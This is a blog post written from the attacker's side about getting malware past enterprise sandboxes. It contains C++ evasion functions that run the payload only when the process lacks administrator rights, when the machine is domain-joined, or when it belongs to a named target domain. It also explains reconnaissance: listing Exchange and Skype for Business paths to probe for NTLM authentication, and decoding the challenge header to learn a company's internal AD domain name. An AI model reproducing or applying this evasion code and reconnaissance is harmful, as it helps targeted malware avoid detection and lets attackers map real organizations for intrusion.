Today, many companies, especially large companies, use both online and offline sandbox solutions. We can say that sandbox technology is the backbone of a cyber defense center. Because malicious files are constantly coming to your company! It’s hard to find more than one “really” trained malware analyst, and even if you find the right people to do the job, they have to do it over and over again. Long story short, you need a sandbox solution and if you are already using sandbox technology, you are doing well.

In the current situation of sandbox technology, sandboxes that can analyze at the hypervisor level stand out. Such sandboxes are considered to be relatively difficult to bypass. These types of sandboxes can understand the standard anti-sanbox techniques and can take counter action. If you are using a sandbox technology and this sandbox technology can analyze at the hypervisor level, you are doing the good things in right way.

The way you prefer to bypass sanboxes that can perform advanced analysis and detections, such as sandboxes that analyze at the hypervisor level, is to develop malicious software that requires user interaction. For example, you can integrate the Pickl3 project into your malware. When you complete the integration, Pickl3 will wait for the target user to enter the correct Windows account information. If the target user enters the correct account information, you will run your malware and “KA-BOOM!” You will probably bypass the sandbox. However, in this article, I will share a technique that I have applied and succeeded in many operations before. This technique has always reminded me of Odysseus and the Trojan Horse.

Mistakes Made and Their Results

Even though the sandbox technology is advanced, companies do not tighten the operating system in the sandbox. Those who perform Red Team Operations or attackers primarily target end users. Now, let’s talk about what we can do with the system features of an average company’s end user. Below I talked about some mistakes and what we can do.

Mistake-1: Almost every sandbox runs the malware on Administrator rights while analyzing. You can develop your malware to run according to the answer to the following question; Do you have administrator rights?

If it does not have Administrator rights, you can make it run and bypass the sandbox. For this, GetTokenInformation and AllocateAndInitializeSid APIs will give us the necessary information. I have given the sample C ++ code below.

bool isAdministrator() {
	HANDLE access_token;
	DWORD buffer_size = 0;
	PSID admin_SID;
	TOKEN_GROUPS* group_token = NULL;
	SID_IDENTIFIER_AUTHORITY NT_authority = SECURITY_NT_AUTHORITY;

	if (!OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &access_token))
		return false;

	GetTokenInformation(
		access_token,
		TokenGroups,
		group_token,
		0,
		&buffer_size
	);

	std::vector<char> buffer(buffer_size);

	group_token =
		reinterpret_cast<TOKEN_GROUPS*>(&buffer[0]);

	bool succeeded = GetTokenInformation(
		access_token,
		TokenGroups,
		group_token,
		buffer_size,
		&buffer_size
	);

	CloseHandle(access_token);
	if (!succeeded)
		return false;

	if (!AllocateAndInitializeSid(
		&NT_authority,
		2,
		SECURITY_BUILTIN_DOMAIN_RID,
		DOMAIN_ALIAS_RID_ADMINS,
		0, 0, 0, 0, 0, 0,
		&admin_SID
	))
	{
		return false;
	}

	bool found = false;
	for (size_t i = 0; !found && i < group_token->GroupCount; i++)
		found = EqualSid(admin_SID, group_token->Groups[i].Sid);
	FreeSid(admin_SID);
	return found;
}

If you want to take the above code further, you can also check the Integrity Level of your malicious process. ;)

Mistake-2: Many companies do not install Active Directory for Sandbox’s analysis environment. Every average company has a domain and end users are included in that domain. In other words, the malware you develop will run on a system with domain integration. You can develop your malware to run according to the answer to the following question; Is the environment in which you work integrated into the domain? If the system is integrated into the domain, you can make it work and bypass the sandbox. The DsRoleGetPrimaryDomainInformation API can use for this . This API returns information about the domain that has been integrated. I have given the sample C ++ code below.

bool isMemberOfAD() {
   bool memberOfAD = FALSE;

   DSROLE_PRIMARY_DOMAIN_INFO_BASIC* dsRoleInfo;
   DWORD dwCode;

   dwCode = DsRoleGetPrimaryDomainInformation(NULL, DsRolePrimaryDomainInfoBasic, (PBYTE*)&dsRoleInfo);
  
   if (dwCode != ERROR_SUCCESS) {
       memberOfAD = FALSE;
   }

   if ((dsRoleInfo->DomainForestName != NULL) && (dsRoleInfo->DomainNameDns != NULL)) {
       memberOfAD = TRUE;
   }

   return memberOfAD;
}

Mistake-3: We can take the technique I explained in the previous step to higher level. In the previous step, we made a query about the target system’s domain (Active Directroy) integration. We can also check for integration directly for a specific domain. For example, our target company is DZ Corp Inc. and they use a domain named dzcorp.local on their internal network. In the previous step, we ensured that our malware works on a system that belongs to the domain, now we will enable it to work only in the domain with the name dzcorp.local. For this, we need to find the DNS name for the target system’s domain. There are two traceable steps for this.

  • Finding disclosed SSL certificates
  • Finding a directory that is accessible from the Internet and allows NTLM Autentication
    • Finding the Skype for Business (formerly Microsoft Lync or Microsoft Office Communicator) server

Disclosed SSL Certificates

There are many systems on the internet that scan and record certificates. Companies can sometimes use their internal network certificates in their internet-enabled systems. The domain name of the certificate created for use in the internal network can usually be the DNS name of the internal domain. In such cases, you can find the DNS name of the domain used inside.

Directories That Allow NTLM Authentication

Companies use a variety of technologies and some of them feature NTLM Authentication. Some of these are given below.

  • OWA Servers
  • Skype for Business (formerly Microsoft Lync or Microsoft Office Communicator)
  • Autodiscover Servers (autodiscover.domain.com and lyncdiscover.domain.com)
  • ADFS Servers

For example, if the target company is using Skype for Business and this server is open to the Internet, you can find it with Subdomain Bruteforce. For example, once we find Subdomain for Skype for Business, we need to find a directory with NTLM Authentication by requesting one of the directories below. I have given the following possible directories.

/abs/
/adfs/services/trust/2005/windowstransport
/aspnet_client/
/autodiscover/
/autoupdate/
/certenroll/
/certprov/
/certsrv/
/conf/
/deviceupdatefiles_ext/
/deviceupdatefiles_int/
/dialin/
/ecp/
/etc/
/ews/
/exchange/
/exchweb/
/hybridconfig/
/groupexpansion/
/mcx/
/mcx/mcxservice.svc
/meet/
/meeting/
/microsoft-server-activesync/
/oab/
/ocsp/
/owa/
/persistentchat/
/phoneconferencing/
/powershell/
/public/
/reach/sip.svc
/requesthandler/
/requesthandlerext/
/rgs/
/rgsclients/
/rpc/
/rpcwithcert/
/scheduler/
/ucwa/
/unifiedmessaging/
/webticket/
/webticket/webticketservice.svc

After finding a directory that requires NTLM Authentication, all that remains is to find the DNS name of the domain used in the internal network. When you make a request to one of the directories I gave above for Skype for Business, if NTLM Authentication is active, monitor its traffic using an HTTP (S) proxy. Try to login with any account information. The server will respond with an HTTP 401 (Unauthorized) status code and a value starting with WWW-Authenticate header information TlRMTVNTUAACAAAA.... Here, in this WWW-Authenticate header information, the domain DNS name used by the target company is mentioned. By reading this binary data, you will get a value as follows.

Msg Type: 2 (Challenge)
Target Name: u'HLLDZ' [123456233fsdfe0112900aaaa00] (05b @11)
Challenge: 0xaaaaaaaaaaaaaaaa
Context: '' [] (0b @0)
Target: [block] (111b @11)
    AD domain name (2): HLLDZ
    Server name (1): SRV0001
    DNS domain name (4): hlldz.dzcorp.local
    FQDN (3): srv0001.hlldz.dzcorp.local
    Parent DNS domain (5): dzcorp.local

You now have information about the target company’s domain DNS name. You can develop your malware to work according to the answers to the following questions; Is the system you are running integrated into a domain? If so, is this domain named “dzcorp.local”?

To do this, you can compare the values of dsRoleInfo->DomainForestName or dsRoleInfo->DomainNameDns in the code below with the domain DNS name of the target company.

bool isMemberOfTargetAD() {
   bool isMemberOfTargetAD = FALSE;

   DSROLE_PRIMARY_DOMAIN_INFO_BASIC* dsRoleInfo;
   DWORD dwCode;

   dwCode = DsRoleGetPrimaryDomainInformation(NULL, DsRolePrimaryDomainInfoBasic, (PBYTE*)&dsRoleInfo);
  
   if (dwCode != ERROR_SUCCESS) {
       isMemberOfTargetAD = FALSE;
   }

   if ((dsRoleInfo->DomainForestName != NULL) && (dsRoleInfo->DomainNameDns != NULL)) {
        // Compare dsRoleInfo->DomainForestName or dsRoleInfo->DomainNameDns with target information
        // Then return TRUE or FALSE
        isMemberOfTargetAD = TRUE;
   }

   return isMemberOfTargetAD;
}

Happy hunting!

References